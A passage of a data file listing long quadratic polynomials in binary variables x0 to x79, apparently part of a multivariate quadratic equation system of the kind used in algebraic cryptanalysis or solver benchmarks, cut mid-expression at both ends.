x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x30 + x15*x31 + x15*x35 + x15*x38 + x15*x39 + x15*x46 + x15*x48 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x63 + x15*x66 + x15*x69 + x15*x72 + x15*x76 + x15*x77 + x15*x78 + x15*x79 + x16*x17 + x16*x19 + x16*x20 + x16*x21 + x16*x23 + x16*x25 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x35 + x16*x36 + x16*x37 + x16*x38 + x16*x41 + x16*x46 + x16*x48 + x16*x49 + x16*x52 + x16*x53 + x16*x57 + x16*x62 + x16*x66 + x16*x68 + x16*x70 + x16*x73 + x16*x75 + x16*x79 + x17*x19 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x25 + x17*x28 + x17*x29 + x17*x30 + x17*x32 + x17*x33 + x17*x35 + x17*x38 + x17*x39 + x17*x42 + x17*x43 + x17*x44 + x17*x49 + x17*x50 + x17*x55 + x17*x57 + x17*x58 + x17*x59 + x17*x60 + x17*x61 + x17*x63 + x17*x64 + x17*x65 + x17*x69 + x17*x71 + x17*x73 + x17*x76 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x29 + x18*x30 + x18*x32 + x18*x34 + x18*x36 + x18*x39 + x18*x40 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x60 + x18*x61 + x18*x65 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x75 + x18*x78 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x30 + x19*x31 + x19*x32 + x19*x34 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x44 + x19*x46 + x19*x47 + x19*x48 + x19*x49 + x19*x53 + x19*x54 + x19*x57 + x19*x59 + x19*x60 + x19*x64 + x19*x65 + x19*x67 + x19*x68 + x19*x70 + x19*x71 + x19*x72 + x19*x74 + x19*x77 + x19*x79 + x19 + x20*x24 + x20*x25 + x20*x28 + x20*x30 + x20*x34 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x40 + x20*x41 + x20*x43 + x20*x45 + x20*x47 + x20*x48 + x20*x50 + x20*x51 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x61 + x20*x63 + x20*x67 + x20*x68 + x20*x69 + x20*x71 + x20*x72 + x20*x73 + x20*x78 + x20 + x21*x23 + x21*x24 + x21*x29 + x21*x31 + x21*x34 + x21*x35 + x21*x37 + x21*x39 + x21*x40 + x21*x44 + x21*x46 + x21*x47 + x21*x51 + x21*x57 + x21*x59 + x21*x60 + x21*x62 + x21*x65 + x21*x66 + x21*x69 + x21*x70 + x21*x73 + x21*x75 + x21*x78 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x49 + x22*x59 + x22*x61 + x22*x64 + x22*x67 + x22*x69 + x22*x71 + x22*x72 + x22*x73 + x22*x77 + x22*x79 + x23*x24 + x23*x25 + x23*x27 + x23*x29 + x23*x31 + x23*x32 + x23*x34 + x23*x35 + x23*x36 + x23*x39 + x23*x40 + x23*x44 + x23*x46 + x23*x47 + x23*x49 + x23*x50 + x23*x53 + x23*x55 + x23*x57 + x23*x59 + x23*x60 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x68 + x23*x71 + x23*x72 + x23*x74 + x23*x79 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x33 + x24*x34 + x24*x36 + x24*x37 + x24*x38 + x24*x40 + x24*x42 + x24*x43 + x24*x50 + x24*x53 + x24*x56 + x24*x59 + x24*x61 + x24*x64 + x24*x67 + x24*x69 + x24*x72 + x24*x73 + x24*x75 + x24*x76 + x24*x77 + x24*x79 + x24 + x25*x31 + x25*x32 + x25*x33 + x25*x38 + x25*x39 + x25*x44 + x25*x46 + x25*x50 + x25*x52 + x25*x53 + x25*x59 + x25*x61 + x25*x64 + x25*x67 + x25*x68 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x78 + x26*x28 + x26*x32 + x26*x35 + x26*x36 + x26*x38 + x26*x40 + x26*x43 + x26*x44 + x26*x46 + x26*x47 + x26*x48 + x26*x50 + x26*x53 + x26*x54 + x26*x55 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x75 + x26*x76 + x26 + x27*x31 + x27*x36 + x27*x37 + x27*x38 + x27*x41 + x27*x43 + x27*x44 + x27*x46 + x27*x55 + x27*x63 + x27*x70 + x27*x71 + x27*x74 + x27*x78 + x28*x29 + x28*x30 + x28*x31 + x28*x33 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x39 + x28*x44 + x28*x48 + x28*x49 + x28*x50 + x28*x53 + x28*x54 + x28*x58 + x28*x59 + x28*x60 + x28*x61 + x28*x64 + x28*x66 + x28*x69 + x28*x73 + x28*x75 + x28*x76 + x28*x77 + x28*x78 + x28*x79 + x29*x30 + x29*x31 + x29*x34 + x29*x35 + x29*x37 + x29*x39 + x29*x44 + x29*x51 + x29*x58 + x29*x63 + x29*x65 + x29*x66 + x29*x67 + x29*x69 + x29*x70 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x77 + x29*x79 + x30*x31 + x30*x32 + x30*x36 + x30*x39 + x30*x40 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x59 + x30*x62 + x30*x66 + x30*x69 + x30*x72 + x30*x75 + x30*x77 + x30*x79 + x30 + x31*x33 + x31*x34 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x42 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x48 + x31*x49 + x31*x52 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x58 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x64 + x31*x65 + x31*x66 + x31*x67 + x31*x69 + x31*x73 + x31*x74 + x31*x76 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x36 + x32*x38 + x32*x44 + x32*x46 + x32*x47 + x32*x49 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x57 + x32*x60 + x32*x67 + x32*x68 + x32*x69 + x32*x71 + x32*x74 + x32*x75 + x32*x76 + x32*x78 + x32*x79 + x32 + x33*x34 + x33*x36 + x33*x37 + x33*x40 + x33*x41 + x33*x44 + x33*x45 + x33*x51 + x33*x52 + x33*x55 + x33*x58 + x33*x61 + x33*x62 + x33*x64 + x33*x67 + x33*x69 + x33*x73 + x33*x74 + x33*x75 + x33*x76 + x33*x79 + x33 + x34*x37 + x34*x40 + x34*x42 + x34*x45 + x34*x47 + x34*x49 + x34*x51 + x34*x53 + x34*x57 + x34*x58 + x34*x61 + x34*x63 + x34*x64 + x34*x68 + x34*x71 + x34*x72 + x34*x78 + x34*x79 + x34 + x35*x38 + x35*x40 + x35*x42 + x35*x43 + x35*x44 + x35*x46 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x57 + x35*x58 + x35*x59 + x35*x62 + x35*x69 + x35*x70 + x35*x71 + x35*x74 + x35*x77 + x35*x78 + x36*x44 + x36*x46 + x36*x51 + x36*x53 + x36*x57 + x36*x66 + x36*x69 + x36*x70 + x36*x71 + x36*x78 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x44 + x37*x46 + x37*x49 + x37*x51 + x37*x53 + x37*x54 + x37*x55 + x37*x57 + x37*x58 + x37*x60 + x37*x62 + x37*x63 + x37*x69 + x37*x71 + x37*x72 + x37*x75 + x37*x79 + x38*x39 + x38*x42 + x38*x43 + x38*x45 + x38*x47 + x38*x49 + x38*x50 + x38*x53 + x38*x54 + x38*x55 + x38*x58 + x38*x60 + x38*x61 + x38*x62 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x68 + x38*x72 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x44 + x39*x47 + x39*x49 + x39*x53 + x39*x54 + x39*x57 + x39*x63 + x39*x65 + x39*x66 + x39*x68 + x39*x70 + x39*x72 + x39*x73 + x39*x76 + x39*x77 + x39 + x40*x41 + x40*x43 + x40*x45 + x40*x46 + x40*x47 + x40*x48 + x40*x49 + x40*x54 + x40*x62 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40 + x41*x43 + x41*x45 + x41*x46 + x41*x48 + x41*x51 + x41*x58 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x64 + x41*x67 + x41*x68 + x41*x72 + x41*x73 + x41*x74 + x41*x76 + x41*x78 + x41 + x42*x43 + x42*x45 + x42*x49 + x42*x52 + x42*x53 + x42*x54 + x42*x56 + x42*x57 + x42*x60 + x42*x62 + x42*x66 + x42*x69 + x42*x76 + x42*x78 + x43*x48 + x43*x50 + x43*x51 + x43*x53 + x43*x54 + x43*x58 + x43*x60 + x43*x61 + x43*x63 + x43*x64 + x43*x65 + x43*x66 + x43*x67 + x43*x69 + x43*x71 + x43*x72 + x43*x74 + x43*x75 + x43*x77 + x43*x78 + x44*x45 + x44*x46 + x44*x47 + x44*x49 + x44*x54 + x44*x55 + x44*x56 + x44*x57 + x44*x58 + x44*x59 + x44*x63 + x44*x65 + x44*x71 + x44*x72 + x44*x77 + x44*x79 + x44 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x57 + x45*x58 + x45*x59 + x45*x61 + x45*x62 + x45*x63 + x45*x64 + x45*x65 + x45*x68 + x45*x71 + x45*x72 + x45*x73 + x45*x74 + x45*x75 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x50 + x46*x51 + x46*x55 + x46*x59 + x46*x60 + x46*x61 + x46*x65 + x46*x67 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x74 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x46 + x47*x48 + x47*x49 + x47*x54 + x47*x56 + x47*x59 + x47*x61 + x47*x62 + x47*x64 + x47*x68 + x47*x70 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x48*x49 + x48*x50 + x48*x52 + x48*x53 + x48*x55 + x48*x57 + x48*x61 + x48*x63 + x48*x66 + x48*x67 + x48*x70 + x48*x71 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x50 + x49*x51 + x49*x52 + x49*x54 + x49*x55 + x49*x58 + x49*x59 + x49*x60 + x49*x63 + x49*x65 + x49*x66 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x64 + x50*x66 + x50*x67 + x50*x70 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50*x79 + x51*x53 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x65 + x51*x67 + x51*x68 + x51*x71 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x56 + x52*x58 + x52*x60 + x52*x62 + x52*x64 + x52*x65 + x52*x66 + x52*x69 + x52*x73 + x52*x74 + x52*x75 + x52*x78 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x75 + x53*x76 + x53 + x54*x56 + x54*x57 + x54*x60 + x54*x61 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x68 + x54*x71 + x54*x74 + x54*x75 + x54*x77 + x54*x79 + x55*x56 + x55*x58 + x55*x59 + x55*x64 + x55*x68 + x55*x69 + x55*x70 + x55*x72 + x55*x77 + x55*x79 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x66 + x56*x67 + x56*x70 + x56*x71 + x56*x75 + x56*x76 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x69 + x57*x78 + x57*x79 + x58*x59 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x69 + x58*x72 + x58*x74 + x58*x78 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x73 + x59*x77 + x59*x78 + x59*x79 + x60*x61 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x71 + x60*x72 + x60*x74 + x60*x75 + x60*x78 + x60 + x61*x63 + x61*x67 + x61*x68 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x66 + x62*x68 + x62*x70 + x62*x75 + x62*x76 + x62*x77 + x63*x64 + x63*x65 + x63*x66 + x63*x69 + x63*x74 + x63*x75 + x63*x76 + x63*x79 + x64*x68 + x64*x69 + x64*x71 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x67 + x65*x68 + x65*x69 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x77 + x66*x69 + x66*x70 + x66*x72 + x66*x78 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x76 + x67*x78 + x67 + x68*x71 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x77 + x68 + x69*x74 + x70*x72 + x70*x73 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x74 + x71*x78 + x71 + x72*x74 + x72*x76 + x72 + x73*x75 + x73*x76 + x73*x79 + x74*x75 + x74*x78 + x74 + x75*x77 + x76*x78 + x76 + x77*x78 + x77*x79 + x78*x79 + x79, x0*x1 + x0*x3 + x0*x6 + x0*x8 + x0*x9 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x16 + x0*x18 + x0*x20 + x0*x21 + x0*x24 + x0*x25 + x0*x30 + x0*x31 + x0*x32 + x0*x34 + x0*x35 + x0*x39 + x0*x40 + x0*x42 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x57 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x68 + x0*x69 + x0*x71 + x0*x75 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x4 + x1*x5 + x1*x7 + x1*x10 + x1*x11 + x1*x12 + x1*x14 + x1*x16 + x1*x18 + x1*x22 + x1*x24 + x1*x25 + x1*x28 + x1*x32 + x1*x33 + x1*x38 + x1*x42 + x1*x44 + x1*x45 + x1*x47 + x1*x48 + x1*x49 + x1*x50 + x1*x52 + x1*x55 + x1*x56 + x1*x57 + x1*x58 + x1*x61 + x1*x63 + x1*x65 + x1*x67 + x1*x69 + x1*x70 + x1*x73 + x1*x76 + x1*x77 + x2*x3 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x11 + x2*x12 + x2*x14 + x2*x15 + x2*x16 + x2*x21 + x2*x22 + x2*x27 + x2*x32 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x42 + x2*x44 + x2*x46 + x2*x50 + x2*x54 + x2*x56 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x65 + x2*x67 + x2*x71 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x13 + x3*x15 + x3*x17 + x3*x20 + x3*x21 + x3*x22 + x3*x23 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x30 + x3*x31 + x3*x33 + x3*x34 + x3*x38 + x3*x39 + x3*x41 + x3*x44 + x3*x46 + x3*x48 + x3*x50 + x3*x57 + x3*x58 + x3*x60 + x3*x64 + x3*x65 + x3*x66 + x3*x69 + x3*x71 + x3*x72 + x3*x73 + x3*x75 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x15 + x4*x17 + x4*x20 + x4*x22 + x4*x23 + x4*x25 + x4*x28 + x4*x29 + x4*x32 + x4*x33 + x4*x37 + x4*x39 + x4*x40 + x4*x42 + x4*x44 + x4*x45 + x4*x46 + x4*x49 + x4*x50 + x4*x55 + x4*x56 + x4*x58 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x66 + x4*x68 + x4*x69 + x4*x74 + x4*x75 + x4*x78 + x5*x6 + x5*x7 + x5*x8 + x5*x10 + x5*x13 + x5*x18 + x5*x19 + x5*x21 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x33 + x5*x35 + x5*x38 + x5*x44 + x5*x46 + x5*x47 + x5*x48 + x5*x50 + x5*x51 + x5*x55 + x5*x56 + x5*x57 + x5*x58 + x5*x65 + x5*x69 + x5*x70 + x5*x73 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x19 + x6*x20 + x6*x22 + x6*x27 + x6*x29 + x6*x30 + x6*x32 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x44 + x6*x45 + x6*x46 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x64 + x6*x67 + x6*x70 + x6*x75 + x6*x77 + x6*x79 + x7*x10 + x7*x15 + x7*x20 + x7*x21 + x7*x22 + x7*x26 + x7*x27 + x7*x31 + x7*x34 + x7*x37 + x7*x38 + x7*x40 + x7*x43 + x7*x44 + x7*x46 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x56 + x7*x57 + x7*x58 + x7*x63 + x7*x65 + x7*x66 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x74 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x11 + x8*x12 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x23 + x8*x24 + x8*x27 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x38 + x8*x40 + x8*x43 + x8*x44 + x8*x45 + x8*x48 + x8*x49 + x8*x51 + x8*x52 + x8*x54 + x8*x58 + x8*x59 + x8*x61 + x8*x62 + x8*x65 + x8*x70 + x8*x71 + x8*x74 + x8*x75 + x8*x77 + x8*x78 + x9*x10 + x9*x11 + x9*x17 + x9*x24 + x9*x28 + x9*x31 + x9*x33 + x9*x34 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x45 + x9*x47 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x54 + x9*x58 + x9*x62 + x9*x63 + x9*x64 + x9*x68 + x9*x70 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x9*x78 + x9 + x10*x14 + x10*x17 + x10*x19 + x10*x20 + x10*x29 + x10*x30 + x10*x33 + x10*x34 + x10*x36 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x47 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x60 + x10*x63 + x10*x64 + x10*x65 + x10*x68 + x10*x70 + x10*x73 + x10*x74 + x10*x75 + x10*x76 + x10*x77 + x10*x78 + x10 + x11*x12 + x11*x13 + x11*x14 + x11*x16 + x11*x18 + x11*x19 + x11*x21 + x11*x24 + x11*x26 + x11*x29 + x11*x31 + x11*x35 + x11*x36 + x11*x37 + x11*x42 + x11*x43 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x57 + x11*x59 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x67 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x75 + x11*x76 + x11*x77 + x12*x13 + x12*x15 + x12*x16 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x31 + x12*x33 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x40 + x12*x41 + x12*x42 + x12*x44 + x12*x47 + x12*x49 + x12*x50 + x12*x51 + x12*x53 + x12*x54 + x12*x56 + x12*x59 + x12*x60 + x12*x61 + x12*x63 + x12*x64 + x12*x66 + x12*x68 + x12*x69 + x12*x70 + x12*x72 + x12*x75 + x12*x77 + x12*x79 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x22 + x13*x24 + x13*x26 + x13*x27 + x13*x32 + x13*x36 + x13*x38 + x13*x40 + x13*x46 + x13*x52 + x13*x53 + x13*x54 + x13*x59 + x13*x62 + x13*x63 + x13*x64 + x13*x69 + x13*x71 + x13*x73 + x13*x77 + x13*x78 + x13*x79 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x21 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x30 + x14*x33 + x14*x34 + x14*x35 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x55 + x14*x56 + x14*x58 + x14*x60 + x14*x65 + x14*x67 + x14*x69 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x78 + x15*x16 + x15*x18 + x15*x22 + x15*x24 + x15*x26 + x15*x28 + x15*x34 + x15*x35 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x43 + x15*x44 + x15*x47 + x15*x49 + x15*x52 + x15*x54 + x15*x57 + x15*x61 + x15*x63 + x15*x65 + x15*x67 + x15*x68 + x15*x71 + x15*x72 + x15*x73 + x15*x75 + x15*x76 + x16*x18 + x16*x22 + x16*x24 + x16*x25 + x16*x28 + x16*x30 + x16*x32 + x16*x33 + x16*x35 + x16*x36 + x16*x38 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x46 + x16*x48 + x16*x49 + x16*x53 + x16*x54 + x16*x55 + x16*x56 + x16*x57 + x16*x59 + x16*x61 + x16*x62 + x16*x63 + x16*x66 + x16*x68 + x16*x71 + x16*x73 + x16*x76 + x16 + x17*x18 + x17*x20 + x17*x22 + x17*x23 + x17*x24 + x17*x26 + x17*x29 + x17*x31 + x17*x34 + x17*x35 + x17*x36 + x17*x37 + x17*x38 + x17*x41 + x17*x42 + x17*x47 + x17*x48 + x17*x53 + x17*x54 + x17*x58 + x17*x60 + x17*x61 + x17*x62 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x77 + x17*x78 + x17 + x18*x20 + x18*x23 + x18*x24 + x18*x25 + x18*x26 + x18*x27 + x18*x28 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x42 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x50 + x18*x51 + x18*x53 + x18*x55 + x18*x56 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x69 + x18*x71 + x18*x75 + x18*x78 + x18 + x19*x25 + x19*x27 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x39 + x19*x41 + x19*x45 + x19*x46 + x19*x47 + x19*x50 + x19*x53 + x19*x54 + x19*x59 + x19*x60 + x19*x62 + x19*x65 + x19*x67 + x19*x69 + x19*x71 + x19*x75 + x19*x76 + x20*x21 + x20*x22 + x20*x25 + x20*x30 + x20*x33 + x20*x36 + x20*x37 + x20*x38 + x20*x39 + x20*x41 + x20*x42 + x20*x44 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x52 + x20*x55 + x20*x57 + x20*x63 + x20*x65 + x20*x67 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x75 + x20*x76 + x20*x77 + x20*x79 + x21*x25 + x21*x26 + x21*x27 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x47 + x21*x50 + x21*x52 + x21*x54 + x21*x55 + x21*x56 + x21*x61 + x21*x62 + x21*x64 + x21*x65 + x21*x67 + x21*x69 + x21*x70 + x21*x73 + x21*x74 + x21*x75 + x21*x76 + x21*x79 + x21 + x22*x23 + x22*x24 + x22*x27 + x22*x32 + x22*x33 + x22*x34 + x22*x35 + x22*x36 + x22*x38 + x22*x39 + x22*x42 + x22*x44 + x22*x45 + x22*x46 + x22*x47 + x22*x51 + x22*x55 + x22*x57 + x22*x58 + x22*x60 + x22*x62 + x22*x63 + x22*x65 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x75 + x22*x77 + x23*x25 + x23*x27 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x36 + x23*x37 + x23*x39 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x56 + x23*x57 + x23*x60 + x23*x62 + x23*x63 + x23*x68 + x23*x69 + x23*x70 + x23*x72 + x23*x73 + x23*x75 + x23*x79 + x24*x25 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x39 + x24*x41 + x24*x43 + x24*x45 + x24*x46 + x24*x52 + x24*x53 + x24*x54 + x24*x55 + x24*x57 + x24*x63 + x24*x64 + x24*x65 + x24*x66 + x24*x71 + x24*x72 + x24*x73 + x24*x75 + x24*x77 + x24 + x25*x26 + x25*x28 + x25*x32 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x40 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x50 + x25*x51 + x25*x52 + x25*x54 + x25*x55 + x25*x56 + x25*x59 + x25*x60 + x25*x62 + x25*x63 + x25*x64 + x25*x68 + x25*x72 + x25*x73 + x25*x76 + x25*x78 + x25 + x26*x30 + x26*x31 + x26*x33 + x26*x34 + x26*x36 + x26*x37 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x45 + x26*x48 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x58 + x26*x59 + x26*x61 + x26*x66 + x26*x67 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x76 + x26*x77 + x26*x79 + x26 + x27*x31 + x27*x32 + x27*x33 + x27*x35 + x27*x36 + x27*x37 + x27*x39 + x27*x42 + x27*x43 + x27*x46 + x27*x48 + x27*x54 + x27*x59 + x27*x60 + x27*x61 + x27*x63 + x27*x64 + x27*x65 + x27*x68 + x27*x71 + x27*x75 + x27*x76 + x27*x77 + x27*x78 + x27*x79 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x35 + x28*x39 + x28*x41 + x28*x45 + x28*x50 + x28*x52 + x28*x54 + x28*x56 + x28*x57 + x28*x58 + x28*x60 + x28*x66 + x28*x67 + x28*x68 + x28*x69 + x28*x70 + x28*x72 + x28*x73 + x28*x74 + x28*x77 + x28*x78 + x28*x79 + x28 + x29*x30 + x29*x33 + x29*x35 + x29*x37 + x29*x39 + x29*x40 + x29*x42 + x29*x44 + x29*x49 + x29*x50 + x29*x51 + x29*x53 + x29*x54 + x29*x55 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x67 + x29*x68 + x29*x70 + x29*x73 + x29*x74 + x29*x76 + x29*x79 + x29 + x30*x35 + x30*x38 + x30*x39 + x30*x40 + x30*x44 + x30*x48 + x30*x49 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x56 + x30*x57 + x30*x61 + x30*x65 + x30*x67 + x30*x70 + x30*x71 + x30*x77 + x30 + x31*x36 + x31*x38 + x31*x39 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x47 + x31*x48 + x31*x51 + x31*x55 + x31*x56 + x31*x57 + x31*x58 + x31*x59 + x31*x60 + x31*x62 + x31*x66 + x31*x67 + x31*x68 + x31*x70 + x31*x72 + x31*x76 + x31*x77 + x31*x78 + x31*x79 + x32*x33 + x32*x34 + x32*x37 + x32*x38 + x32*x40 + x32*x43 + x32*x44 + x32*x47 + x32*x48 + x32*x52 + x32*x54 + x32*x55 + x32*x57 + x32*x58 + x32*x63 + x32*x64 + x32*x66 + x32*x69 + x32*x71 + x32*x74 + x32*x77 + x32*x79 + x33*x34 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x45 + x33*x49 + x33*x52 + x33*x55 + x33*x56 + x33*x58 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x67 + x33*x68 + x33*x70 + x33*x72 + x33*x73 + x33*x75 + x33*x78 + x33*x79 + x34*x35 + x34*x36 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x46 + x34*x47 + x34*x49 + x34*x51 + x34*x54 + x34*x56 + x34*x58 + x34*x61 + x34*x62 + x34*x63 + x34*x67 + x34*x68 + x34*x70 + x34 + x35*x36 + x35*x38 + x35*x41 + x35*x44 + x35*x47 + x35*x49 + 